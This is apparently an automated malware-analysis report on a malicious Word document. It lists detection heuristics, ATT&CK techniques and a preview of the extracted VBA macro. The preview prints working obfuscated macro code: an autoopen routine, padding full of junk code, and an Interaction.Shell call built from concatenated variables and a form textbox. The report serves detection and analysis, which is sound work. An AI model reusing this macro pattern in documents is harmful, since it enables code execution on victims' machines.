MALICIOUS
242
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a malicious Office document containing a VBA macro. The 'autoopen' macro is present and utilizes the Shell() function, indicating an attempt to execute arbitrary commands. This is a common technique for downloading and executing further malicious payloads.
Heuristics 7
-
ClamAV: Doc.Malware.Generic-6791502-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Generic-6791502-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4003 bytes |
SHA-256: 3cc8b8375e7656ccf876a25f9abec8062b702715b9e929d5b14cc078f31b4abf |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "B321593481444"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
D886 = "f767"
f9987 = "u425"
J717 = "U9164"
J50138
l9406 = "s7298"
z0746 = "L665"
u1805 = "t627"
End Sub
Attribute VB_Name = "E1478366354117"
Function J50138()
On Error Resume Next
Select Case V369
Case 205
Z415 = j985
Z740 = Log(J3372)
M3428 = R364
Case 459
Q4243 = q902
v4488 = CBool(z421)
N283 = Rnd(O5607 / Hex(D165 * w2931 - X485 / Int(611)) * 613 - 10)
End Select
D3521 = 947 - 584
Set Y6452 = u332
Select Case F1538
Case 136
m6311 = m895
u021 = Log(z513)
H779 = B988
Case 423
B071 = b7278
Q834 = CBool(D858)
u1697 = Rnd(c100 / Hex(B390 * A7599 - l9406 / Int(79)) * 574 - 760)
End Select
Q742 = 867 - 38
Set D312 = m2365
Select Case h9749
Case 581
q5707 = u751
b0349 = Log(P2417)
G633 = a0814
Case 889
T571 = D6541
z431 = CBool(C839)
X644 = Rnd(S2640 / Hex(E214 * P3362 - C4403 / Int(435)) * 854 - 662)
End Select
H100 = 953 - 353
Set z8401 = F933
B249228 = Array(Z279656, j06641740, u4562547, Interaction.Shell(("" + n62747810 + z70033549 + r73490135 + B321593481444.TextBox1) + Z5184795 + i294988 + j80073164 + f019057, 8 - 8), C505164, G661359352, J70571195)
Select Case A8490
Case 133
l772 = o486
n735 = Log(V530)
X857 = f7105
Case 530
b5231 = Q6452
j563 = CBool(O0612)
z3037 = Rnd(R915 / Hex(G8494 * u4716 - D524 / Int(156)) * 695 - 542)
End Select
p5821 = 154 - 261
Set V1729 = R8000
End Function
Attribute VB_Name = "a85298682266"
Attribute VB_Name = "A292730645342"
Attribute VB_Name = "J8632918935"
Attribute VB_Name = "t66357882845"
Attribute VB_Name = "Q19573414130905"
Attribute VB_Name = "J34799106781029"
Attribute VB_Name = "m81989492606984"
Attribute VB_Name = "L33529626"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "W95593701441983"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "k9401063736"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "j37077510"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "M999357982573"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.